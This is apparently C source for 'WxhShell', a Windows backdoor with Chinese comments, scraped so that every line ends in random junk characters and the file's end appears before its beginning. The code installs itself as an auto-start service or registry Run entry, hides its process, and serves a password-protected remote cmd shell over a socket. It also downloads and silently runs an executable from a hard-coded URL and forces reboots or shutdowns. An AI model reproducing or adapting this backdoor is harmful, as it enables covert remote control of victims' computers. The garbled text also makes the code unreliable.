    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VDPqI+z  
    if(Boot(SHUTDOWN)) k5w+{iOh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? Q.Y  
    else { CLQ\Is^]  
    closesocket(wsh); zO2<Igb  
    ExitThread(0); %p/Qz|W  
    } nkS6A}i3o  
    break; 3dcZ1Yrn  
    } *7ap[YXZ\w  
  // 获取shell 8ji!FZf  
  case 's': { ,G"?fQ7zR  
    CmdShell(wsh); m]Z+u e  
    closesocket(wsh); &'WgBjP  
    ExitThread(0); -hQ=0h~\B.  
    break; 7vNS@[8  
  } T(a* d7  
  // 退出 O_-.@uo./(  
  case 'x': { OA%.>^yb@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pJ+>qy5  
    CloseIt(wsh); g[8V fIe  
    break; 5f/[HO)  
    } %T}{rU~X  
  // 离开  O5_[T43  
  case 'q': { np=m ~k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ? @h  
    closesocket(wsh); `gfK#0x#  
    WSACleanup(); 5c{=/}Y  
    exit(1); %- %/3  
    break; m;K Mr6sO  
        } Jfo|/JQ  
  } OTN"XKa$  
  } d>@{!c-  
.a;-7|x  
  // 提示信息 I #1_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0Yfk/}5  
} wLkHU"'   
  } m$QFtrvy  
F:hJ^:BP  
  return; DMfC(w.d  
} r\_rnM)_xN  
p"q-sMYl  
// shell模块句柄 LFen!FnM  
int CmdShell(SOCKET sock) B^h]6Z/O  
{ eFsku8$<  
STARTUPINFO si; oWs&W  
ZeroMemory(&si,sizeof(si));  vFl|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _32ltnBX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q?} G?n 4  
PROCESS_INFORMATION ProcessInfo; @m6pAo4P  
char cmdline[]="cmd"; CtjjN=59  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o S_'@u.5  
  return 0; uKpl+>  
} ]Y;$~qQ  
-6+HA9zz@C  
// 自身启动模式 pNVao{::5  
int StartFromService(void) G|3OB:  
{ rQKBT]?y  
typedef struct Bw{@YDO{  
{ iW* 0V3  
  DWORD ExitStatus; FuEHO6nx  
  DWORD PebBaseAddress; 9 *]Z  
  DWORD AffinityMask; YH<@->Ip  
  DWORD BasePriority; IEC:zmkn  
  ULONG UniqueProcessId; eHqf3f   
  ULONG InheritedFromUniqueProcessId; yQou8P=%  
}   PROCESS_BASIC_INFORMATION; cv#H  
JN|<R%hy  
PROCNTQSIP NtQueryInformationProcess; o<V-gS  
g](m& O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '\_ic=&u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #GWQ]r?  
[POy" O  
  HANDLE             hProcess; KxJJ?WyM  
  PROCESS_BASIC_INFORMATION pbi; $?*+P``  
Sn0?_vH4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p,kJ#I  
  if(NULL == hInst ) return 0; tvFJ^5  
T,WWQm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )h+JX8K)l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "T~Ps$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w`!Yr:dU  
/f0_mi,bD  
  if (!NtQueryInformationProcess) return 0; _fMooI)U1  
|d{(&s}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ry7(V:ic  
  if(!hProcess) return 0; K.X% Q,XD  
(\WePOy&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {/n$Y|TIQt  
v'_tna6`O  
  CloseHandle(hProcess); I"DV}jg6|  
NiyAAw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \7og&j-h  
if(hProcess==NULL) return 0; K32eZv`T7  
QFX|ZsmK  
HMODULE hMod; rbP.N ?YU%  
char procName[255]; <D&75C#  
unsigned long cbNeeded; Q{$2D&  
)dlt$VX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f5sk,Z  
(8H^{2K~  
  CloseHandle(hProcess); `bH Eu"(,  
uQ8]j.0  
if(strstr(procName,"services")) return 1; // 以服务启动 kkzXv`+  
JVXBm]  
  return 0; // 注册表启动 jkD5Z`D  
} &VQwuO  
6fkL@It  
// 主模块 `8'|g8,wb0  
int StartWxhshell(LPSTR lpCmdLine) Ge97e/ CY  
{ 2t(E+^~  
  SOCKET wsl; > }:6m  
BOOL val=TRUE; }F1^gN&QF  
  int port=0; zA+ ^4/M  
  struct sockaddr_in door; ?cpID8Z  
'4O1Y0K  
  if(wscfg.ws_autoins) Install(); 3}N:oJI$z  
Kt`0vwkjvI  
port=atoi(lpCmdLine); E~N}m7kTl/  
^8fO3<Jg  
if(port<=0) port=wscfg.ws_port; T.K$a\/{,  
,u\M7,a^  
  WSADATA data; Ex<-<tY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kB  :")$  
fE^rTUtn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ){wE)NN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RrRCT.+E  
  door.sin_family = AF_INET; $cK9E:v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  gZvl D  
  door.sin_port = htons(port); S B'.   
^KlMBKWyB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j~L{=ojz%  
closesocket(wsl); 43P?f+IYrk  
return 1; YSZz4?9\  
} Ymn0?$,D1=  
8ALYih7"W  
  if(listen(wsl,2) == INVALID_SOCKET) { *_^AK=i  
closesocket(wsl); nQ/El&{  
return 1; Sc*p7o: A  
} `qr[0wM  
  Wxhshell(wsl); 'zpj_QM  
  WSACleanup(); 5HJ6[.HO  
f+F /`P%  
return 0; `Th!bk  
98V9AOgk  
} %q:V  
|yqx ]  
// 以NT服务方式启动 fx=aT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Os[^ch  
{ ;=_KLG <  
DWORD   status = 0; IJ=~hBI  
  DWORD   specificError = 0xfffffff; JEBx|U$'Y  
VT-&"Jn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KDCq::P<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M)-+j{<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w#-rl@JQ4  
  serviceStatus.dwWin32ExitCode     = 0; NShA-G N5  
  serviceStatus.dwServiceSpecificExitCode = 0; %,)[%>#{  
  serviceStatus.dwCheckPoint       = 0; #n0P'@d,r  
  serviceStatus.dwWaitHint       = 0; `U?;9!|;6  
`cf&4Hn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  |\,e9U>  
  if (hServiceStatusHandle==0) return; }rOO[,?Y  
[kn`~hI  
status = GetLastError(); oOSw> 23x  
  if (status!=NO_ERROR) l tQ:c  
{ %n{E/06f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P$w0.XZa  
    serviceStatus.dwCheckPoint       = 0; 7';PI!$  
    serviceStatus.dwWaitHint       = 0; JLs7[W)O  
    serviceStatus.dwWin32ExitCode     = status; *<BasP  
    serviceStatus.dwServiceSpecificExitCode = specificError; XhTp'2,]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~>+}(%<,  
    return; S . 1~#  
  } Hk.+1^?%  
$~U_VQIA^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yyBfLPXZ  
  serviceStatus.dwCheckPoint       = 0; }Z%*gfp  
  serviceStatus.dwWaitHint       = 0; \O\onvEa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r@iGM Jx$  
} xe%+Yb]  
I`FH^=  
// 处理NT服务事件,比如:启动、停止 L5PN]<~T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P 7gS M  
{ JYKaF6bx8  
switch(fdwControl) 0oM~e  
{ } CQ GvH  
case SERVICE_CONTROL_STOP: +#n[55d  
  serviceStatus.dwWin32ExitCode = 0; \Mt(9jNK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i7Y 96]  
  serviceStatus.dwCheckPoint   = 0; 8l)^#"ySA  
  serviceStatus.dwWaitHint     = 0; $ V}s3  
  { 9\|3Gm_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]<{BDXIGIE  
  } f{ENSUtCrR  
  return; E Sb  
case SERVICE_CONTROL_PAUSE: %*:-4K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n,n]V$HFGh  
  break; L?0dZY-"  
case SERVICE_CONTROL_CONTINUE: &]uhPx/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,mjwQ6:Ny  
  break; .GkH^9THP  
case SERVICE_CONTROL_INTERROGATE: xS*f{5Hr8  
  break; Ugrcy7  
}; FFP>Y*v(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~` #t?1SP  
} op[OB=  
?JtFiw  
// 标准应用程序主函数 orEwP/L:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?hsOhUs(5  
{ =>/aM7]  
v#=-  
// 获取操作系统版本 [4sbOl5yZ  
OsIsNt=GetOsVer(); !.x(lOqf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %mh K1,  
zFwp$K>{QY  
  // 从命令行安装 V,{ydxfB  
  if(strpbrk(lpCmdLine,"iI")) Install(); (hdP(U77  
/GfC/)1_  
  // 下载执行文件 TzerAX^  
if(wscfg.ws_downexe) { uFG]8pj2V1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3'*SSZmnOB  
  WinExec(wscfg.ws_filenam,SW_HIDE); kS3wa3bT  
} (<2PhJ|  
+KXg&A/^  
if(!OsIsNt) { Q4q3M=0  
// 如果时win9x,隐藏进程并且设置为注册表启动 Oh-HfJyi  
HideProc(); Vc c/  
StartWxhshell(lpCmdLine); lSl=6R  
} > : \lDz  
else '$4o,GA8  
  if(StartFromService()) 6z!?U:bT  
  // 以服务方式启动 Zwp*JH+G  
  StartServiceCtrlDispatcher(DispatchTable); RLecKw&1{3  
else VA.:'yQtJ  
  // 普通方式启动 El]Rrku  
  StartWxhshell(lpCmdLine); n%W~+  
EKq9m=Ua@o  
return 0; >wz-p nD  
} !:a pu!  
@dD70T  
UPUO8W)<Z6  
="<+^$7:k  
=========================================== 4vGkgH<,  
sf7'8+wj>  
>\3=h8zw  
OB l-6W  
|"vqM)V$  
Y0aO/6  
" l`fjz-eE  
h#'(UZ  
#include <stdio.h> <~vamim#K  
#include <string.h> F;5.nKo  
#include <windows.h> } 3 RqaIY}  
#include <winsock2.h> %/-Z1Nv*#  
#include <winsvc.h> >*B/Wy  
#include <urlmon.h> }4  5|  
lLyMm8E%pZ  
#pragma comment (lib, "Ws2_32.lib") doVBVTk^  
#pragma comment (lib, "urlmon.lib") O0';j!?X  
_U%!&_m6  
#define MAX_USER   100 // 最大客户端连接数 >mi%L3Pk  
#define BUF_SOCK   200 // sock buffer N>'1<i?  
#define KEY_BUFF   255 // 输入 buffer tDF6%RG  
``$At,m  
#define REBOOT     0   // 重启 *5.s@L( VU  
#define SHUTDOWN   1   // 关机 c_ vj't  
N:\I]M  
#define DEF_PORT   5000 // 监听端口 ;v*$6DIC5  
n3jA[p:  
#define REG_LEN     16   // 注册表键长度 b.Z K1  
#define SVC_LEN     80   // NT服务名长度 e*Sv}4e=.  
&ZClv"6  
// 从dll定义API {&,a)h7&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >}43MxU?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V[uB0#Lp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %}x/ fq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  r,!7TuBl  
c+ Ejah+  
// wxhshell配置信息 -Q<3Q_  
struct WSCFG { ]?/[& PP,  
  int ws_port;         // 监听端口 8L9xP'[^  
  char ws_passstr[REG_LEN]; // 口令 HBV~`0O$  
  int ws_autoins;       // 安装标记, 1=yes 0=no p4bQCI  
  char ws_regname[REG_LEN]; // 注册表键名 &5)Kg%r  
  char ws_svcname[REG_LEN]; // 服务名 srw5&s(3X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9{^:+r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M g1E1kXe  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u&m B;:&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Xu3o,k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E<>n0",  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (Lo<3a-]  
Jou~>0,/j  
}; m .le' &  
1 nIb/nY  
// default Wxhshell configuration BO5F6lyQ0P  
struct WSCFG wscfg={DEF_PORT, =YR/X@&  
    "xuhuanlingzhe", $ThkK3  
    1, 7-nwfp&|$  
    "Wxhshell", ,H'O`oV!1E  
    "Wxhshell", & 2& K9R  
            "WxhShell Service", o{(-jhR  
    "Wrsky Windows CmdShell Service", i:ZpAo+Z{  
    "Please Input Your Password: ", tE/j3  
  1, 'd D d9  
  "http://www.wrsky.com/wxhshell.exe", ~^UQw? ;  
  "Wxhshell.exe" O\q|b#q}/  
    }; p>96>7w  
TGY^,H>J  
// 消息定义模块 ]Z&2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TWK(vEDM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [Z` q7ddd^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [mYmrLs6  
char *msg_ws_ext="\n\rExit."; bP`yLz  
char *msg_ws_end="\n\rQuit."; .fk!~8b[Q+  
char *msg_ws_boot="\n\rReboot..."; Ha)eeE$  
char *msg_ws_poff="\n\rShutdown..."; bu1O<*  
char *msg_ws_down="\n\rSave to "; UW8b(b[-6b  
9mIq9rQ|*  
char *msg_ws_err="\n\rErr!"; w3a`G|  
char *msg_ws_ok="\n\rOK!"; w[qWr@  
r%}wPN(?D  
char ExeFile[MAX_PATH]; #5-0R7\d7  
int nUser = 0; .\7R/cP}{A  
HANDLE handles[MAX_USER]; ,/BBG\mJ  
int OsIsNt;   lCr  
BXiuVx  
SERVICE_STATUS       serviceStatus; JVD#wwic  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B- N  
Ia*eb%HG  
// 函数声明 6! \a8q'z  
int Install(void); g|a2z_R  
int Uninstall(void); <*<7p{x  
int DownloadFile(char *sURL, SOCKET wsh); t \kI( G  
int Boot(int flag); WJ9Jj69  
void HideProc(void); {*bXO8vi((  
int GetOsVer(void); 7[[XNJP  
int Wxhshell(SOCKET wsl); EX7gTf#  
void TalkWithClient(void *cs); -\:pbR  
int CmdShell(SOCKET sock); \SkCsE#H  
int StartFromService(void); 6=3}gd5  
int StartWxhshell(LPSTR lpCmdLine); osB[KRT>("  
g<-x"$(C&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'QFf 7A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,9^wKS!7$  
P PZxH}J.  
// 数据结构和表定义 L&+XFntR  
SERVICE_TABLE_ENTRY DispatchTable[] = d}GO(  
{ '=EaZ>=  
{wscfg.ws_svcname, NTServiceMain}, ExqI=k`Zs  
{NULL, NULL} hs}nI/#  
}; SWvy< f4<  
mWZoo/xtT  
// 自我安装 1tHTjEG4^3  
int Install(void) 8QV+DDZx  
{ -8X* (7  
  char svExeFile[MAX_PATH]; \/*r45!  
  HKEY key; q %i2' yE  
  strcpy(svExeFile,ExeFile); `PnB<rf:*1  
D0/ \  
// 如果是win9x系统,修改注册表设为自启动 /[`bPKr  
if(!OsIsNt) { i|0H {q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2u4aCfIx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *`YR-+0  
  RegCloseKey(key); Y-hGHnh]'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a02@CsH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <?5 ,3`V  
  RegCloseKey(key); GxL5yeN@(  
  return 0; C s?kZ %  
    } `%EMhk  
  } BX;Z t9"*  
} } :P/eY  
else { !run3ip`Z  
0&E{[~Pv  
// 如果是NT以上系统,安装为系统服务 J b Hn/$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NdZv*  
if (schSCManager!=0) T52A}vf4  
{ j4$XAq~W  
  SC_HANDLE schService = CreateService Zmw'.hL  
  ( +FRXTku(  
  schSCManager, ' \Z54$  
  wscfg.ws_svcname, cd)yj&:?Bt  
  wscfg.ws_svcdisp, %Ak"d+OH4  
  SERVICE_ALL_ACCESS, X!V@jo9?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SxcNr5F   
  SERVICE_AUTO_START, n,SDJsS^  
  SERVICE_ERROR_NORMAL, Z6\OkD  
  svExeFile, (dvCejc^p  
  NULL, "l6v[yv  
  NULL, xG@zy4  
  NULL, [vV]lWOp'  
  NULL, f mILkXKz  
  NULL jXB<"bw  
  ); H@GiHej  
  if (schService!=0) Ufd{.o[{-  
  { 6|+I~zJ88  
  CloseServiceHandle(schService); 4zX@TI>j  
  CloseServiceHandle(schSCManager); zL$$G,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z)I.^  
  strcat(svExeFile,wscfg.ws_svcname); T|`nw_0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uA dgR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7'\<\oT  
  RegCloseKey(key); g+|1khS)  
  return 0; `?{i dg  
    } _PZGns,u  
  } *oqQ=#\  
  CloseServiceHandle(schSCManager); m~mw1r  
} ,r!_4|\  
} $e1==@ R  
@ eu4W^W  
return 1; 42kr&UY&  
} & F\HR  
gZF-zhnC  
// 自我卸载 GZ( W6 4  
int Uninstall(void) 8%q:lI  
{ o5)lTVQ~~  
  HKEY key; sr1`/  
")T;3/c  
if(!OsIsNt) { LK5, GWF;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E-\Wo3  
  RegDeleteValue(key,wscfg.ws_regname); E9JxntX  
  RegCloseKey(key); _0p8FhNt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RGvfy/T  
  RegDeleteValue(key,wscfg.ws_regname); [Zc8tE2oN  
  RegCloseKey(key); U[1Rw6  
  return 0; Ze_4MwC W  
  } N# $ob 9  
} &g%9$*gmT  
} ;DbEP.%u$  
else { xwoK#eC~ F  
( `T;nz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #m [R1G#  
if (schSCManager!=0) s>hNwb/  
{ *\><MXx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8i"v7}  
  if (schService!=0)  _dCdyf  
  { >qkZn7C   
  if(DeleteService(schService)!=0) { ,Axk\7-  
  CloseServiceHandle(schService); DtLga[M  
  CloseServiceHandle(schSCManager); VJquB8?H  
  return 0; %" kF i  
  } w@,Yj#_9cx  
  CloseServiceHandle(schService); ;cKN5#7  
  } &-M>@BMy  
  CloseServiceHandle(schSCManager); G+&ug`0]5  
} r$<-2lW  
} KCEBJ{jM  
:98<dQIG  
return 1; W !TnS/O_1  
} 9n\:grW  
;w0|ev 6|  
// 从指定url下载文件 8[@aX;I  
int DownloadFile(char *sURL, SOCKET wsh) t+7|/GLs2  
{ IL*Ghq{/  
  HRESULT hr; .=@xTJh  
char seps[]= "/"; 62BT3/~  
char *token; &GMBvmP  
char *file; ;$=kfj9 :7  
char myURL[MAX_PATH]; Ik W 8$>  
char myFILE[MAX_PATH]; R]L$Ld< ij  
= cQK^$6(  
strcpy(myURL,sURL); uW4 )DT9[5  
  token=strtok(myURL,seps); ,i0Dw"/u  
  while(token!=NULL) NL`}rj  
  { 8x":7 yV&  
    file=token; E<6Fjy  
  token=strtok(NULL,seps); i"0]L5=P  
  } !' ;1;k);  
,6N|?<26O  
GetCurrentDirectory(MAX_PATH,myFILE); FO[x c;  
strcat(myFILE, "\\"); iN\m:m  
strcat(myFILE, file); Jc8^m0_  
  send(wsh,myFILE,strlen(myFILE),0); ^!a4!DGVT  
send(wsh,"...",3,0); l;F\s&^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m/M=.\]  
  if(hr==S_OK) Gs`[\<;LI  
return 0; ",&^ f  
else xLX2F   
return 1; Z9S5rPHEL  
e'"2yA8dh"  
} v/ $~ifY"  
,_+Gb  
// 系统电源模块 gl.uDO%.  
int Boot(int flag) ::goqajV  
{ o;w 5;TkY  
  HANDLE hToken; !Q/oj Q  
  TOKEN_PRIVILEGES tkp; MK1V1F`  
,hO*W-a% 1  
  if(OsIsNt) { ;iB9\p$K)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4\?z^^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  DT2uUf  
    tkp.PrivilegeCount = 1; (3. B\8s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }.ZT?p\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7\;4 d4u  
if(flag==REBOOT) { &oJ1v<`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5f#N$mh  
  return 0; 2lb HUK  
} z8VcV*6  
else { 8rV"? m`S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zeqwmV=  
  return 0; v,}Mn7:  
} JCe%;U  
  } \ t=ls  
  else { [ :Upn)9  
if(flag==REBOOT) { 0eMO`8u[A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;*J_V/&?  
  return 0; VWLqJd>tr1  
} 3P, ul*e  
else { )c6t`SBwi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @XJzM]*w&  
  return 0; 0pfgE=9  
} z*oe ho  
} ?R!?}7  
,`Yx(4!rR  
return 1; o&U'zaj  
} RA_gj lJi  
D(X:dB50@  
// win9x进程隐藏模块 _n~[wb5J  
void HideProc(void) V7S[rI<<r  
{ jx=5E6(h  
gRsV -qS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t>KvR!+`g  
  if ( hKernel != NULL ) )(/Bw&$  
  { .`ZuUr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @A.7`*i_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G~ONHXL  
    FreeLibrary(hKernel); 1#w'<}h#U  
  }  k00&+C  
E[=# Rw!*  
return; {9c_T!c  
} 7;8DKY q  
<V b SEi  
// 获取操作系统版本 .wpp)M.w;H  
int GetOsVer(void) .Ce0yAl~  
{ a#pM9n~a  
  OSVERSIONINFO winfo; -J& b~t@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dug{)h_2  
  GetVersionEx(&winfo); lj US-6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \D5_g8m:  
  return 1; n/ CP2A  
  else SHA6;y+U/~  
  return 0; 6uu49x_^L4  
} p=T6Ix'_2e  
BD_"w]bqD  
// 客户端句柄模块 -)pVgf  
int Wxhshell(SOCKET wsl) 8ioxb`U  
{ Hw\hTTK  
  SOCKET wsh; (>,}C/-UG  
  struct sockaddr_in client; D:56>%y@  
  DWORD myID; M>rertUR  
Q2LAXTF]y  
  while(nUser<MAX_USER) xXQW|#X\  
{ gw^X-  
  int nSize=sizeof(client); E%&E<<nhZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DQy;W  ov  
  if(wsh==INVALID_SOCKET) return 1; &0Bs?oq_  
)VM'^sV?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Fo;.  
if(handles[nUser]==0) JTS<n4<a  
  closesocket(wsh); 5T-CAkR{n  
else 8b|m66#|  
  nUser++; s~b!3l`gu  
  } vO 3-B   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yyv<MSU8  
'{F Od_uk%  
  return 0; ~&7 *<`7{  
} PBY;S G ~  
SrT=XX,  
// 关闭 socket 6xW17P  
void CloseIt(SOCKET wsh) KkPr08  
{ `]$H\gNI[8  
closesocket(wsh); ,AuejMd  
nUser--; /8[T2Z!  
ExitThread(0); 'iikcf*)C  
} FNHJHuTe  
_OY<Hb3%M  
// 客户端请求句柄 {^N90,!  
void TalkWithClient(void *cs) T,uVt^.R+  
{ IuOQX}  
d$<1Ma}  
  SOCKET wsh=(SOCKET)cs; 15Vo_ wD<y  
  char pwd[SVC_LEN]; 'Im&&uSkr  
  char cmd[KEY_BUFF]; Epm%/ {sHV  
char chr[1]; @D2KDV3'  
int i,j; )#0Llx!  
wpepi8w,  
  while (nUser < MAX_USER) { qYbPF|Y=Z  
<xaB$}R  
if(wscfg.ws_passstr) { ,&aD U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VCCG_K9'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f' &  
  //ZeroMemory(pwd,KEY_BUFF); lFc4| _c g  
      i=0; z\6/?5D#v  
  while(i<SVC_LEN) { L.$+W}  
kT ,2eel  
  // 设置超时 1g1gu=|Q  
  fd_set FdRead; _/RP3"#  
  struct timeval TimeOut; ^SJa/I EZ.  
  FD_ZERO(&FdRead); G}0fk]%\:  
  FD_SET(wsh,&FdRead); mP+rPDGp  
  TimeOut.tv_sec=8; [+ N 5  
  TimeOut.tv_usec=0; qp`G5bw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .9u,54t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a4D4*=!G0  
2\L}Ka|v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hZDv5]V:0  
  pwd=chr[0]; h@D</2>  
  if(chr[0]==0xd || chr[0]==0xa) { .ta*M{t  
  pwd=0; G{{Or  
  break; pNzpT!}H>  
  } m9li%p  
  i++; HH aerc  
    } O\[Td  
MnT+p[.  
  // 如果是非法用户,关闭 socket jY8u1z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QAK.Qk?Qu  
} +{/*P 5  
SPY4l*kX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f')3~)"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *EzAo  
liG3   
while(1) { _.ELN/$-  
$C?G7Vs  
  ZeroMemory(cmd,KEY_BUFF); 8- ]7>2?_  
5jBBk*/\  
      // 自动支持客户端 telnet标准   _=oNQ  
  j=0; gKay3}w  
  while(j<KEY_BUFF) { `@r#o&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y1zep\-D  
  cmd[j]=chr[0]; h | +(  
  if(chr[0]==0xa || chr[0]==0xd) { K#],4OG  
  cmd[j]=0; *3We5  
  break; KqT~MPl  
  } n\D3EP<s  
  j++; D:Y `{{  
    } l5d> YTK+5  
OJ\rT.{  
  // 下载文件 TAn.5 wH9t  
  if(strstr(cmd,"http://")) { w=H4#a?fc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?G>#'T[  
  if(DownloadFile(cmd,wsh)) M[ZuXH}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mca9 +v  
  else Cb/?hT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @5-+>\Hd^t  
  } C JNz J(  
  else { .5m^)hi  
^. i;,  
